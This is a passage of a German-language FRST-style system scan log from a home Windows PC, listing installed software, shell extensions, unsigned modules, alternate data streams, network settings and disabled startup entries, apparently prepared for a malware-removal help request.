Easy Photo Scan (HKLM-x32\...\{103EAF85-E788-4A6C-836F-F2C637A40B31}) (Version: 1.00.0019 - Seiko Epson Corporation)
Elgato Stream Deck (HKLM\...\{7D2A2CB1-B31D-4DFA-8B58-E6F4806AD3DB}) (Version: 7.0.3.22071 - Corsair Memory, Inc.)
Enpass (HKLM\...\{EEE105F6-A99F-4AFC-9F7A-07023A735921}) (Version: 6.12.5.2659 - Enpass Technologies Inc.) Hidden
Enpass (HKLM-x32\...\{0ce3a941-2dd6-4e6f-820d-f42154e64c09}) (Version: 6.12.5.2659 - Enpass Technologies Inc.)
Epson Connect Printer Setup (HKLM-x32\...\{D9B1D51B-EB56-410D-AEB5-1CCFAC4B6C8C}) (Version: 1.4.11 - Seiko Epson Corporation)
Epson Event Manager (HKLM-x32\...\{5E51EA28-9CED-4B92-A636-A71E40D48D50}) (Version: 3.11.82 - Seiko Epson Corporation)
Epson Photo+ (HKLM-x32\...\{26088B13-2C11-4D23-BE9E-78D0099CDBEA}) (Version: 4.0.1.0 - Seiko Epson Corporation)
Epson Printer Connection Checker (HKLM-x32\...\{11BD815E-6527-4E12-8634-B1D2FCB1DE88}) (Version: 3.4.2.0 - Seiko Epson Corporation)
Epson Printer Driver Security Support Tool (HKLM-x32\...\{2395000B-DF3F-40E1-8D49-E73341296948}) (Version: 1.0.1.0 - Seiko Epson Corporation)
Epson Scan 2 (HKLM-x32\...\Epson Scan 2) (Version: - Seiko Epson Corporation)
EPSON Scan OCR Component (HKLM-x32\...\{C37347BC-7549-47A6-8E7A-806A6751981E}) (Version: 3.00.06 - Seiko Epson Corporation)
Epson Software Updater (HKLM-x32\...\{0184AB6D-F2CA-4338-A12C-1D8858BFD2FF}) (Version: 4.6.10 - Seiko Epson Corporation)
EPSON-Handbücher (HKLM-x32\...\{84CECC1B-21EF-41B1-9A91-3E724E5D99D3}) (Version: 1.57.0.0 - Seiko Epson Corporation)
EpsonNet Print (HKLM\...\{DB5EDF09-A7A7-47FA-B365-A7500A472878}) (Version: 3.3.1.0 - Seiko Epson Corporation)
FreeCommander XE 64-bit (HKLM\...\{5C21B677-2DD5-4026-8936-46492CAE9FB2}_is1) (Version: 2026.0.0.953 - Marek Jasinski)
Garmin Express (HKLM-x32\...\{12CACC17-D22C-4653-8311-2124C9941D24}) (Version: 7.26.0.0 - Garmin Ltd or its subsidiaries) Hidden
Garmin Express (HKLM-x32\...\{a4c38753-e8fc-4f0a-bdfe-91860a26bcf9}) (Version: 7.26.0.0 - Garmin Ltd or its subsidiaries)
GIMP 3.0.0 (HKLM\...\GIMP-3_is1) (Version: 3.0.0.0 - The GIMP Team)
Google Chrome (HKLM-x32\...\Google Chrome) (Version: 155.0.8059.82 - Google LLC)
hide.me ovpn-dco (HKLM\...\{1BCFF523-F68B-4E85-AB83-FF03A3AC041A}) (Version: 1.2.1.0 - hide.me)
hide.me TAP-Windows6 (HKLM\...\{70818D8B-0770-438F-AFD7-7FD6605EF97B}) (Version: 9.27.0.0 - hide.me)
hide.me VPN 4.3.2 (HKLM-x32\...\{0E00BDA5-7998-4889-BE4B-39A4BBD2EDFB}_is1) (Version: 4.3.2 - eVenture Limited)
HOTAS WARTHOG drivers (HKLM-x32\...\{C33F3C7C-F964-4919-97D3-0C4F2A538D87}) (Version: 1.TMHW.2018 - Thrustmaster)
IrfanView 4.70 (64-bit) (HKLM\...\IrfanView64) (Version: 4.70 - Irfan Skiljan)
Java 8 Update 461 (HKLM-x32\...\{71124AE4-039E-4CA4-87B4-2F32180461F0}) (Version: 8.0.4610.11 - Oracle Corporation)
KeePassXC (HKLM\...\{E86A6926-F1BD-42B8-BE36-12E8A3A052AC}) (Version: 2.7.10 - KeePassXC Team)
LibreOffice 24.8.3.2 (HKLM\...\{D69038CE-B543-4B8A-931D-6D2078D94AE9}) (Version: 24.8.3.2 - The Document Foundation)
Logitech Options (HKLM\...\LogiOptions) (Version: 10.24.3 - Logitech)
Microsoft .NET Host - 6.0.36 (x64) (HKLM\...\{D6932D97-36F1-40B8-9CDC-CA8365B21000}) (Version: 48.144.23141 - Microsoft Corporation) Hidden
Microsoft .NET Host - 6.0.36 (x86) (HKLM-x32\...\{FBC9D6AE-6396-4FC7-BC18-00852836F16D}) (Version: 48.144.23141 - Microsoft Corporation) Hidden
Microsoft .NET Host - 8.0.32 (x64) (HKLM\...\{BD355C09-BBBA-4F60-95A9-3F92A3E728CD}) (Version: 64.128.61381 - Microsoft Corporation) Hidden
Microsoft .NET Host FX Resolver - 6.0.36 (x64) (HKLM\...\{A9E32B25-994B-4856-A12B-0EBED3050410}) (Version: 48.144.23141 - Microsoft Corporation) Hidden
Microsoft .NET Host FX Resolver - 6.0.36 (x86) (HKLM-x32\...\{6F73FE7B-B9C3-4A05-8138-0E44543D755F}) (Version: 48.144.23141 - Microsoft Corporation) Hidden
Microsoft .NET Host FX Resolver - 8.0.32 (x64) (HKLM\...\{90670CF8-7E43-4604-9ED0-A14C2FC29C15}) (Version: 64.128.61381 - Microsoft Corporation) Hidden
Microsoft .NET Runtime - 6.0.36 (x64) (HKLM\...\{C912E33F-956A-4921-9F55-CC11AE8F09AF}) (Version: 48.144.23141 - Microsoft Corporation) Hidden
Microsoft .NET Runtime - 6.0.36 (x86) (HKLM-x32\...\{89C09E22-01D0-41F6-BAD3-CA0A8B74AD22}) (Version: 48.144.23141 - Microsoft Corporation) Hidden
Microsoft .NET Runtime - 8.0.32 (x64) (HKLM\...\{A43104BD-8B2F-4370-97F2-BCBDCA9BA997}) (Version: 64.128.61381 - Microsoft Corporation) Hidden
Microsoft Edge (HKLM-x32\...\Microsoft Edge) (Version: 155.0.4283.62 - Microsoft Corporation)
Microsoft Edge WebView2-Laufzeit (HKLM-x32\...\Microsoft EdgeWebView) (Version: 155.0.4283.62 - Microsoft Corporation) Hidden
Microsoft GameInput (HKLM\...\{C7B6BB76-07B4-48D4-B257-4511AB9E002A}) (Version: 3.5.270.0 - Microsoft Corporation)
Microsoft OneDrive (HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\OneDriveSetup.exe) (Version: 26.183.0920.0005 - Microsoft Corporation)
Microsoft OneDrive (HKU\S-1-5-21-3650103575-3285462358-2630303384-1002\...\OneDriveSetup.exe) (Version: 26.183.0920.0005 - Microsoft Corporation)
Microsoft Teams Meeting Add-in for Microsoft Office (HKLM\...\{A7AB73A3-CB10-4AA5-9D38-6AEFFBDE4C91}) (Version: 1.25.14602 - Microsoft)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.30319 (HKLM\...\{DA5E371C-6333-3D8A-93A4-6FD5B20BCC6E}) (Version: 10.0.30319 - Microsoft Corporation)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{3c3aafc8-d898-43ec-998f-965ffdae065a}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{e6e75766-da0f-4ba2-9788-6ea593ce702d}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (HKLM\...\{929FBD26-9020-399B-9A7A-751D61F0B942}) (Version: 12.0.21005 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (HKLM\...\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}) (Version: 12.0.21005 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (HKLM-x32\...\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}) (Version: 12.0.21005 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (HKLM-x32\...\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}) (Version: 12.0.21005 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.44.35208 (HKLM-x32\...\{e90abaf0-d749-437b-ba99-cda1c84b6754}) (Version: 14.44.35208.0 - Microsoft Corporation)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.51.36247 (HKLM\...\{6FA797CF-6B76-4B6D-87EE-768F92008720}) (Version: 14.51.36247 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.51.36247 (HKLM\...\{931A2CF0-2404-45EA-82F5-345735AE6A90}) (Version: 14.51.36247 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.44.35208 (HKLM-x32\...\{5A76FFAE-36C5-4648-80BD-4BB5B6E971F0}) (Version: 14.44.35208 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.44.35208 (HKLM-x32\...\{491C67BA-2F2F-4A90-B9DD-4C76BFDBEA02}) (Version: 14.44.35208 - Microsoft Corporation) Hidden
Microsoft Visual C++ v14 Redistributable (x64) - 14.51.36247 (HKLM-x32\...\{0e3bb569-69d6-4c34-bff9-c2f81db5e5f0}) (Version: 14.51.36247.0 - Microsoft Corporation)
Microsoft Windows Application Compatibility Fix Database (HKLM\...\{22221111-1111-1111-1111-111111111111}.sdb) (Version: - )
Microsoft Windows Desktop Runtime - 6.0.36 (x64) (HKLM\...\{61D4736B-3325-4D4A-BD41-8BD206C6A86E}) (Version: 48.144.23186 - Microsoft Corporation) Hidden
Microsoft Windows Desktop Runtime - 6.0.36 (x64) (HKLM-x32\...\{0532b8f2-12d7-43de-95fc-7b87006758a8}) (Version: 6.0.36.34217 - Microsoft Corporation)
Microsoft Windows Desktop Runtime - 6.0.36 (x86) (HKLM-x32\...\{9A00C541-6944-4969-9DFE-A7289215800D}) (Version: 48.144.23186 - Microsoft Corporation) Hidden
Microsoft Windows Desktop Runtime - 6.0.36 (x86) (HKLM-x32\...\{c37854d7-1852-4785-82ff-86ff988e4caf}) (Version: 6.0.36.34217 - Microsoft Corporation)
Microsoft Windows Desktop Runtime - 8.0.32 (x64) (HKLM\...\{B3F524C3-ADC5-4043-9624-61055DE12870}) (Version: 64.128.61394 - Microsoft Corporation) Hidden
Microsoft Windows Desktop Runtime - 8.0.32 (x64) (HKLM-x32\...\{ae6de048-c0e4-4d6a-937f-09acccf3a971}) (Version: 8.0.32.36605 - Microsoft Corporation)
Mozilla Firefox (x64 de) (HKLM\...\Mozilla Firefox) (Version: 158.0 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 128.5.1 - Mozilla)
Mozilla Thunderbird ESR (x64 de) (HKLM\...\Mozilla Thunderbird 153.5.0 ESR (x64 de)) (Version: 153.5.0 - Mozilla)
MyEpson Portal (HKLM-x32\...\{3361D415-BA35-4143-B301-661991BA6219}) (Version: 1.1.3.6 - SEIKO EPSON CORPORATION) Hidden
MyEpson Portal (HKLM-x32\...\MyEpson Portal) (Version: - Seiko Epson Corporation)
NetSpot Version 5.1.0.705 (HKLM\...\NetSpot_is1) (Version: 5.1.0.705 - )
opentrack version opentrack-2024.1.1 (HKLM-x32\...\{63F53541-A29E-4B53-825A-9B6F876A2BD6}_is1) (Version: opentrack-2024.1.1 - opentrack)
Parfleche (HKLM-x32\...\{01909DF1-E768-42D5-A8FC-A03AC264694D}) (Version: 7.7.2.0 - Scruple Citole)
PDF24 Creator 11.23.0 (HKLM\...\{81A6F461-0DBA-4F12-B56F-0E977EC10576}_is1) (Version: 11.23.0 - geek software GmbH)
PrivaZer (HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\PrivaZer) (Version: 4.0.124.2 - Goversoft LLC)
QuoVadis X (HKLM\...\QVX1_is1) (Version: 1 - QuoVadis Software GmbH)
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 11.7.0318.2022 - Realtek)
RyzenMasterSDK (HKLM\...\{FEBB32B3-4259-400A-8AC4-0EC7FA2032BE}) (Version: 1.2.3.5 - Advanced Micro Devices, Inc.) Hidden
SCDesigns F16 Fighting Falcons for MSFS 2024 (HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\{2DE7AC59-D8BB-4E15-B428-2AF5EFE32C01}) (Version: 1.1.2 - Just Flight (MSFS))
SCDesigns F16 Fighting Falcons for MSFS2024 (HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\{A2E21BF9-4F4D-4A5E-9CD9-55DFD023C56E}) (Version: 0.1.6 - Just Flight (MSFS 2024))
SimpleMind Pro 2.5.1 (HKLM-x32\...\SMPRO1_is1) (Version: 2.5.1 - ModelMaker Tools BV)
Synology Assistant (remove only) (HKLM-x32\...\Synology Assistant) (Version: 7.0.6-50085 - Synology)
Synology Drive Client (HKLM\...\{80B635D4-202A-4CB7-9C13-1EB697B7678C}) (Version: 8.0.1.17885 - Synology)
Synology Image Assistant 1.0.2-56 (HKLM\...\70f7506f-6740-5e7b-8650-5d68a656aca9) (Version: 1.0.2-56 - Synology Inc.)
TeamViewer (HKLM\...\TeamViewer) (Version: 15.82.6 - TeamViewer)
Thrustmaster TARGET (HKLM-x32\...\{8036A569-CA02-4D33-A7E9-E9BC8A482E91}) (Version: 3.0.24.618 - Thrustmaster)
Tobii Experience Software For Windows (HKLM\...\{FC309D35-B470-4A4B-9E3B-F71299703A41}) (Version: 4.72.0.29983 - Tobii AB)
Tobii Game Hub (HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\TobiiGameHub) (Version: 4.4.1 - Tobii AB)
VeraCrypt (HKLM-x32\...\VeraCrypt) (Version: 1.26.18 - IDRIX)
VLC media player (HKLM\...\VLC media player) (Version: 3.0.21 - VideoLAN)
VPC Software Suite version 20240814 (HKLM-x32\...\{2D922289-8AA1-49FF-9CCF-F2833A69D857}_is1) (Version: 20240814 - VIRPIL Controls)
Webex (HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\CiscoWebex) (Version: 46.3.0.34324 - Cisco Systems, Inc)
Windows-Treiberpaket - Dynastream Innovations, Inc. ANT LibUSB Drivers (04/11/2012 1.2.40.201) (HKLM\...\F9D2A789F9CFF8CEC36B544F53877C80F1F73C46) (Version: 04/11/2012 1.2.40.201 - Dynastream Innovations, Inc.)
Windows-Treiberpaket - Garmin (grmnusb) GARMIN Devices (04/19/2012 2.3.1.0) (HKLM\...\98157A226B40B173301B0F53C8E98C47805D5152) (Version: 04/19/2012 2.3.1.0 - Garmin)
Windows-Treiberpaket - Silicon Labs Software (DSI_SiUSBXp_3_1) USB (02/06/2007 3.1) (HKLM\...\D1506E0025B5A3F9EB8270FE81C1EEDD9388B8A2) (Version: 02/06/2007 3.1 - Silicon Labs Software)
WireGuard (HKLM\...\{2FDB79CE-5193-4A39-82BB-E00158CC1533}) (Version: 0.5.3 - WireGuard LLC)
WISO Mein Geld 2025 Professional (HKLM-x32\...\{E5B62BE4-B033-4E2D-811C-067D2F011BD9}) (Version: 22.0.0.0 - Buhl Data Service GmbH) Hidden
WISO Mein Geld 2025 Professional (HKLM-x32\...\WISO Mein Geld 2025 Professional) (Version: - Buhl Data Service GmbH)
Packages:
=========
@{MicrosoftWindows.55182690.Taskbar_1000.26100.3775.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.55182690.Taskbar/Resources/ProductPkgDisplayName} -> C:\WINDOWS\SystemApps\SxS\MicrosoftWindows.55182690.Taskbar_cw5n1h2txyewy [2025-06-13] ()
AMD Radeon Software -> C:\Program Files\AMD\CNext\CNext [2026-10-02] (Advanced Micro Devices Inc.)
Dropbox -> C:\Program Files (x86)\Dropbox\Client\PackageAssets [2026-10-18] (Dropbox Inc.)
Ink.Handwriting.de-DE.1.0 -> C:\Program Files\WindowsApps\Microsoft.Ink.Handwriting.de-DE.1.0_0.1377.316.0_x64__8wekyb3d8bbwe [2026-10-12] (Microsoft Corporation)
Ink.Handwriting.de-DE.1.0 -> C:\Program Files\WindowsApps\Microsoft.Ink.Handwriting.de-DE.1.0_0.1377.316.0_x86__8wekyb3d8bbwe [2026-10-12] (Microsoft Corporation)
Microsoft Ink Handwriting Recognition (de-DE) -> C:\Program Files\WindowsApps\Microsoft.Ink.Handwriting.Main.de-DE.1.0_0.1377.316.0_x64__8wekyb3d8bbwe [2026-10-18] (Microsoft Corporation)
Tobii Experience -> C:\Program Files\WindowsApps\TobiiAB.TobiiEyeTrackingPortal_1.69.32600.0_x64__j9ea20k37yd2w [2024-12-06] (Tobii AB) [Startup Task]
==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==============
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
CustomCLSID: HKU\S-1-5-21-3650103575-3285462358-2630303384-1002_Classes\CLSID\{23A5B06E-20BB-4E7E-A0AC-6982ED6A6041}\localserver32 -> C:\Users\ralf\AppData\Local\ESET\ESETOnlineScanner\ESETOnlineScanner_nt64.exe (ESET, spol. s r.o. -> ESET)
ShellIconOverlayIdentifiers: [ 01UnsuppModule] -> {472CE1AD-5D53-4BCF-A1FB-3982A5F55138} => -> Keine Datei
ShellIconOverlayIdentifiers: [ 02SyncingModule] -> {48AB5ADA-36B1-4137-99C9-2BD97F8788AB} => -> Keine Datei
ShellIconOverlayIdentifiers: [ 03SyncedModule] -> {AEB16659-2125-4ADA-A4AB-45EE21E86469} => -> Keine Datei
ShellIconOverlayIdentifiers: [ 04ReadOnlyModule] -> {A433C3E0-8B24-40EB-93C3-4B10D9959F58} => -> Keine Datei
ShellIconOverlayIdentifiers: [ 05NoPermModule] -> {C701AD67-3DF0-47C9-89CB-DFA6207BE229} => -> Keine Datei
ShellIconOverlayIdentifiers: [ 06SyncedAndLockedModule] -> {B353B1B0-3821-4B9C-97DA-FAC7D5FB1C15} => -> Keine Datei
ShellIconOverlayIdentifiers: [ 07SyncingAndLockedModule] -> {DFCB2071-3E17-41D6-AFFF-812B4C18054A} => -> Keine Datei
ShellIconOverlayIdentifiers: [DropboxExt01] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers: [DropboxExt02] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers: [DropboxExt03] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers: [DropboxExt04] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers: [DropboxExt05] -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers: [DropboxExt06] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers: [DropboxExt07] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers: [DropboxExt08] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers: [DropboxExt09] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers: [DropboxExt10] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers-x32: [ DropboxExt01] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers-x32: [ DropboxExt02] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers-x32: [ DropboxExt03] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers-x32: [ DropboxExt04] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers-x32: [ DropboxExt05] -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers-x32: [ DropboxExt06] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers-x32: [ DropboxExt07] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers-x32: [ DropboxExt08] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers-x32: [ DropboxExt09] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ShellIconOverlayIdentifiers-x32: [ DropboxExt10] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ContextMenuHandlers1: [DropboxExt] -> {ECD97DE5-3C8F-4ACB-AEEE-CCAB78F7711C} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ContextMenuHandlers4: [DropboxExt] -> {ECD97DE5-3C8F-4ACB-AEEE-CCAB78F7711C} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
ContextMenuHandlers5: [DropboxExt] -> {ECD97DE5-3C8F-4ACB-AEEE-CCAB78F7711C} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.97.0.dll [2026-09-15] (Dropbox, Inc -> Dropbox, Inc.)
==================== Codecs (Nicht auf der Ausnahmeliste) ====================
==================== Verknüpfungen & WMI ========================
==================== Geladene Module (Nicht auf der Ausnahmeliste) =============
2024-12-08 17:26 - 2020-04-01 08:46 - 000037376 _____ (Guillemot Corporation) [Datei ist nicht signiert] C:\Program Files (x86)\Thrustmaster\TARGET\cint.dll
2024-12-08 17:26 - 2016-04-14 06:46 - 001036800 _____ (Guillemot Corporation) [Datei ist nicht signiert] C:\Program Files (x86)\Thrustmaster\TARGET\TmCommon.dll
2024-12-08 17:26 - 2024-07-09 10:57 - 000192000 _____ (Guillemot Corporation) [Datei ist nicht signiert] C:\Program Files (x86)\Thrustmaster\TARGET\TmHidControl.dll
2021-10-26 11:00 - 2021-10-26 11:00 - 000708608 _____ (Seiko Epson Corporation) [Datei ist nicht signiert] C:\Program Files (x86)\EPSON\MyEpson Portal\Configration_00000171\MepCfg.dll
2020-04-17 11:15 - 2020-04-17 11:15 - 000577536 _____ (Seiko Epson Corporation) [Datei ist nicht signiert] C:\Program Files (x86)\EPSON\MyEpson Portal\MepUploader_00000542\MepUploader.dll
2019-02-22 16:09 - 2019-02-22 16:09 - 000475136 _____ (Seiko Epson Corporation) [Datei ist nicht signiert] C:\Program Files (x86)\EPSON\MyEpson Portal\Online Manual_00000013\MepFAQ.dll
==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) ========
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)
AlternateDataStreams: C:\ProgramData:BDSDRMHK [64]
AlternateDataStreams: C:\Users\All Users:BDSDRMHK [64]
AlternateDataStreams: C:\ProgramData\Anwendungsdaten:BDSDRMHK [64]
==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ==================
==================== Verknüpfungen (Nicht auf der Ausnahmeliste) =================
==================== Internet Explorer (Nicht auf der Ausnahmeliste) =============
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_461\bin\ssv.dll [2025-06-27] (Oracle America, Inc. -> Oracle Corporation)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_461\bin\jp2ssv.dll [2025-06-27] (Oracle America, Inc. -> Oracle Corporation)
==================== Hosts Inhalt: =========================
(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)
2024-04-01 09:26 - 2024-04-01 09:24 - 000000824 _____ C:\WINDOWS\system32\drivers\etc\hosts
==================== Network ===========================
(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
DNS Servers: 192.168.178.1
ist aktiviert.
Network Binding:
=============
Ethernet 2: Realtek PCIe 2.5GbE Family Controller -> rt25cx21x64.sys
Ethernet: Realtek PCIe GbE Family Controller -> rt68cx21x64.sys
Bluetooth-Netzwerkverbindung: Bluetooth Device (Personal Area Network) -> bthpan.sys
==================== Andere Bereiche ===========================
(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
HKLM\System\CurrentControlSet\Control\Session Manager\Environment\\Path -> C:\Program Files (x86)\Common Files\Oracle\Java\java8path;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\;C:\Program Files\dotnet\;C:\Program Files\WireGuard\
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\Control Panel\Desktop\\Wallpaper -> r:\motorrad\ducati\1973 ducati 750 sport\1973 ducati 750 sport 03.jpg
HKU\S-1-5-21-3650103575-3285462358-2630303384-1002\Control Panel\Desktop\\Wallpaper ->
HKU\S-1-5-21-3650103575-3285462358-2630303384-1003\Control Panel\Desktop\\Wallpaper -> C:\Windows\Web\Wallpaper\Windows\img0.jpg
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
HKLM\SOFTWARE\Microsoft\Windows Defender\Features => (TamperProtection: 1) (TamperProtectionSource: 5)
HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection => (DpaDisabled: 0)
==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)
HKLM\...\StartupApproved\Run: => "EPPCCMON"
HKLM\...\StartupApproved\Run: => "Logitech Download Assistant"
HKLM\...\StartupApproved\Run: => "LogiOptions"
HKLM\...\StartupApproved\Run32: => "EEventManager"
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\StartupApproved\StartupFolder: => "hide.me VPN.lnk"
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\StartupApproved\Run: => "EPLTarget\P0000000000000000"
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\StartupApproved\Run: => "MicrosoftEdgeAutoLaunch_2D2FB39371B311A0BB6A4C2028148FDF"
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\StartupApproved\Run: => "CiscoMeetingDaemon"
==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ================
